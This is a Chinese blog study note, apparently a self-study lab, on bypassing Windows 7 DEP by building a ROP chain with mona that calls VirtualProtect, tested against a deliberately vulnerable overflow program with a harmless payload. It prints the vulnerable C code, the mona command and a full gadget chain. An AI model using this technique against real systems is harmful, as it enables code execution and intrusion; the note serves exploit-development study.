Windows Shellcode 学习笔记——通过 VirtualProtect 绕过 DEP

发布于 2024-11-22 12:00:55 字数 10574 浏览 4 评论 0

0x00 前言

在掌握了栈溢出的基本原理和利用方法后,接下来就要研究如何绕过 Windows 系统对栈溢出利用的重重防护,所以测试环境也从 xp 转到了 Win7(相比 xp,Win7 的防护更全面)。本文将要介绍经典的 DEP 绕过方法——通过 VirtualProtect 绕过 DEP

0x01 简介

本文将要介绍以下内容:

  • VS2012 的编译配置
  • 利用 Immunity Debugger 的 mona 插件自动获取 ROP 链
  • 对 ROP 链的分析调试
  • 调用 VirtualProtect 函数时的 Bug 及修复

0x02 相关概念

DEP:

溢出攻击的根源在于计算机对数据和代码没有明确区分,如果将代码放置于数据段,那么系统就会去执行

为了弥补这一缺陷,微软从 XP SP2 开始支持数据执行保护(Data Exection Prevention)

DEP 保护原理:

数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,而有了 DEP,此时 CPU 会抛出异常,而不是去执行指令

DEP 四种工作状态:

  • Optin
  • Optout
  • AlwaysOn
  • AlwaysOff

DEP 绕过原理:

如果函数返回地址并不直接指向数据段,而是指向一个已存在的系统函数的入口地址,由于系统函数所在的页面权限是可执行的,这样就不会触发 DEP

也就是说,可以在代码区找到替代指令实现 shellcode 的功能

但是可供利用的替代指令往往有限,无法完整的实现 shellcode 的功能

于是产生了一个折中方法:通过替代指令关闭 DEP,再转入执行 shellcode

内存页:

x86 系统一个内存页的大小为 4kb,即 0x00001000,4096

ROP:

面向返回的编程(Return-oriented Programming)

VirtualProtect:

BOOL VirtualProtect{ LPVOID lpAddress, DWORD dwsize, DWORD flNewProtect, PDWORD lpflOldProtect }

lpAddress:内存起始地址 dwsize:内存区域大小 flNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40) lpflOldProtect:内存原始属性保存地址

通过 VirtualProtect 绕过 DEP:

在内存中查找替代指令,填入合适的参数,调用 VirtualProtect 将 shellcode 的内存属性设置为可读可写可执行,然后跳到 shellcode 继续执行

0x03 VS2012 的编译配置

测试环境:

  • 测试系统: Win 7 x86
  • 编译器: VS2012
  • build 版本: Release

项目属性:

  • 关闭 GS
  • 关闭优化
  • 关闭 SEH
  • 关闭 DEP
  • 关闭 ASLR
  • 禁用 c++异常
  • 禁用内部函数

具体配置方法:

配置属性-c/c++-所有属性

  • 安全检查 否(/GS-)
  • 启用 c++异常 否
  • 启用内部函数 否
  • 优化 已禁用(/Od)

配置属性-链接器-所有属性

  • 数据执行保护(DEP) 否(/NXCOMPAT:NO)
  • 随机基址 否(/DYNAMICBASE:NO)
  • 映像具有安全异常处理程序 否(/SAFESEH:NO)

0x04 实际测试

测试 1:

测试代码:

char shellcode[]=
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
    "\x41\x41\x41\x41\x42\x43\x44\x45";

void test()
{
    char buffer[48];
    memcpy(buffer,shellcode,sizeof(shellcode));
}

int main()
{
    printf("1\n");
    test();
    return 0;
}

注:

strcpy 在执行时遇到 0x00 会提前截断,为便于测试 shellcode,将 strcpy 换成 memcpy,遇到 0x00 不会被截断

Alt text

如上图,成功将返回地址覆盖为 0x45444342

测试 2:

shellcode 起始地址为 0x00403020

PUSH 1  
POP ECX

对应的机器码为 0x0059016A

将返回地址覆盖为 shellcode 起始地址

shellcode 实现如下操作:

PUSH 1
POP ECX

其他位用 0x90 填充

c 代码如下:

char shellcode[]=
    "\x6A\x01\x59\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x20\x30\x40\x00";

void test()
{
    char buffer[48];
    memcpy(buffer,shellcode,sizeof(shellcode));
}

int main()
{
    printf("1\n");
    test();
    return 0;
}

Alt text

如上图,shellcode 成功执行,ECX 寄存器赋值为 1

测试 3:

开启 DEP,再次调试,发现 shellcode 无法执行,如图

Alt text

测试 4:

下载安装 Immunity Debugger

下载 mona 插件,下载地址如下:

https://github.com/corelan/mona

将 mona.py 放于 C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands 下

启动 Immunity Debugger,打开 test.exe

使用 mona 插件自动生成 rop 链,输入:

!mona rop -m *.dll -cp nonull

如图

Alt text

mona 会搜寻所有的 DLL,用于构造 rop 链

执行命令后在 C:\Program Files\Immunity Inc\Immunity Debugger 下生成文件 rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt

查看 rop_chains.txt,会列出可用来关闭 DEP 的 ROP 链,选择 VirtualProtect() 函数

Alt text

如上图,成功构建 ROP 链

注:

不同环境有可能无法获得完整参数,需要具体环境具体分析

对应的测试 poc 修改如下:

unsigned int shellcode[]=
{     
      0x90909090,0x90909090,0x90909090,0x90909090,
      0x90909090,0x90909090,0x90909090,0x90909090,
      0x90909090,0x90909090,0x90909090,0x90909090,
      0x90909090,
      0x77217edd,  // POP EAX // RETN [kernel32.dll] 
      0x77171910,  // ptr to &VirtualProtect() [IAT kernel32.dll]
      0x75d7e9dd,  // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll] 
      0x779f9dca,  // XCHG EAX,ESI // RETN [ntdll.dll] 
      0x779cdd30,  // POP EBP // RETN [ntdll.dll] 
      0x75dac58d,  // & call esp [KERNELBASE.dll]
      0x693a7031,  // POP EAX // RETN [MSVCR110.dll] 
      0xfffffdff,  // Value to negate, will become 0x00000201
      0x69354484,  // NEG EAX // RETN [MSVCR110.dll] 
      0x75da655d,  // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 
      0x69329bb1,  // POP EAX // RETN [MSVCR110.dll] 
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0x41414141,  // Filler (RETN offset compensation)
      0xffffffc0,  // Value to negate, will become 0x00000040
      0x69354484,  // NEG EAX // RETN [MSVCR110.dll] 
      0x771abd3a,  // XCHG EAX,EDX // RETN [kernel32.dll] 
      0x6935a7c0,  // POP ECX // RETN [MSVCR110.dll] 
      0x693be00d,  // &Writable location [MSVCR110.dll]
      0x779a4b9a,  // POP EDI // RETN [ntdll.dll] 
      0x69354486,  // RETN (ROP NOP) [MSVCR110.dll]
      0x693417cb,  // POP EAX // RETN [MSVCR110.dll] 
      0x90909090,  // nop
      0x69390267,  // PUSHAD // RETN [MSVCR110.dll] 

      0x9059016A,  //PUSH 1  // POP ECX // NOP
      0x90909090,
      0x90909090,
      0x90909090,
      0x90909090
};
void test()
{
    char buffer[48];    
    printf("3\n");
    memcpy(buffer,shellcode,sizeof(shellcode));
}
int main()
{
    printf("1\n");
    test();
    return 0;
}

其中 0x9059016A 为 PUSH 1;POP ECX;NOP; 的机器码,如果绕过 DEP,该指令将会成功执行

编译后在 OllyDbg 中调试

单步跟踪到 CALL KERNELBA.VirtualProtectEX,查看堆栈

可获得传入的函数参数

Alt text

如上图,不巧的是 shellcode 覆盖了 SEH 链

这样会导致传入 VirtualProtectEX 函数的参数不正确,调用失败,猜测调用 VirtualProtectEX 函数的返回值为 0

Alt text

如上图,验证上面的判断,EAX 寄存器表示返回值,返回值为 0,修改内存属性失败

解决思路:

我们需要扩大栈空间,将 SEH 链下移,确保 shellcode 不会覆盖到 SEH 链

解决方法:

修改源代码,通过申请空间的方式下移 SEH 链

测试 5:

关键代码如下:

int main()
{
    printf("1\n");
    test();
    char Buf[] = 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    return 0;
}

编译程序,再次放在 OllyDbg 中调试

单步跟踪到 CALL KERNELBA.VirtualProtectEX,查看堆栈

如图

Alt text

SEH 链成功“下移”,位于高地址,未被 shellcode 覆盖

此时传入 VirtualProtectEX 函数的参数正确

按 F8 单步执行,查看结果

Alt text

如上图,返回值为 0,修改内存属性仍失败

LastErr 显示错误为 ERRPR_INVALID_ADDRESS(000001E7),表示地址错误

测试 6:

查看正常调用函数 VirtualProtect() 时的堆栈,对比测试 5,分析失败原因

正常调用的实现代码如下:

int main()
{

    void *p=malloc(16);
    printf("0x%08x\n",p);
    DWORD pflOldProtect;
    int x=VirtualProtect(p,4,0x40,&pflOldProtect);
    printf("%d\n",x);
    return 0;
}

测试 7:

如果将起始地址修改为一个不能访问的地址,如 0x40303020

编译程序,放在 OllyDbg 中调试

单步跟踪到 CALL KERNELBA.VirtualProtectEX,查看堆栈

格式如图

Alt text

按 F8 单步执行,查看结果

如图,产生同样错误:ERRPR_INVALID_ADDRESS(000001E7)

Alt text

猜测,shellcode 传入的起始地址有问题

继续我们的测试

测试 8

接着测试 5,单步跟踪到 CALL KERNELBA.VirtualProtectEX,尝试修改堆栈中的数据

将内存地址 0x0012FF2c 修改为当前内存页的起始地址,即 0x0012F000

如图

Alt text

按 F8 单步执行,查看结果

如下图,寄存器 EAX 的值为 1,即返回值为 1,成功修改内存属性

Alt text

接着向下执行,在 CALL ESP 的位置按下 F7,单步步入

Alt text

如上图,发现 PUSH 1;POP ECX 成功执行,测试成功,成功通过 VirtualProtect 绕过 DEP,执行数据段的 shellcode

注:

这种情况下,VirtualProtectEX 一次最大只能修改 4096 长度的内存(即一个内存页的长度),且不能跨页修改,如果越界,返回值为 0,修改失败

通过 C 调用函数 VirtualProtect 不存在上述问题,可跨页,长度大于 4096

0x05 小结

为了在 Win7 下搭建测试环境,对 VS2012 的编译配置需要特别注意,多重保护在提高程序安全性的同时也给环境搭建带来了麻烦

不同系统下可供使用的替代指令往往不同,需要不断变换思路,构造合适的 ROP 链,另外,Immunity Debugger 的 mona 插件可为 ROP 链的编写提供便利,但要注意存在 bug 的情况,需要更多的测试和优化。

如果 shellcode 长度大于 4096,使用 VirtualProtect 关闭 DEP 会失败,需要选择其他方法。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

怎言笑

暂无简介

0 文章
0 评论
665 人气
更多

推荐作者

杨绘峰

文章 0 评论 0

听闻余生

文章 0 评论 0

谜兔

文章 0 评论 0

xiaotwins

文章 0 评论 0

你说

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文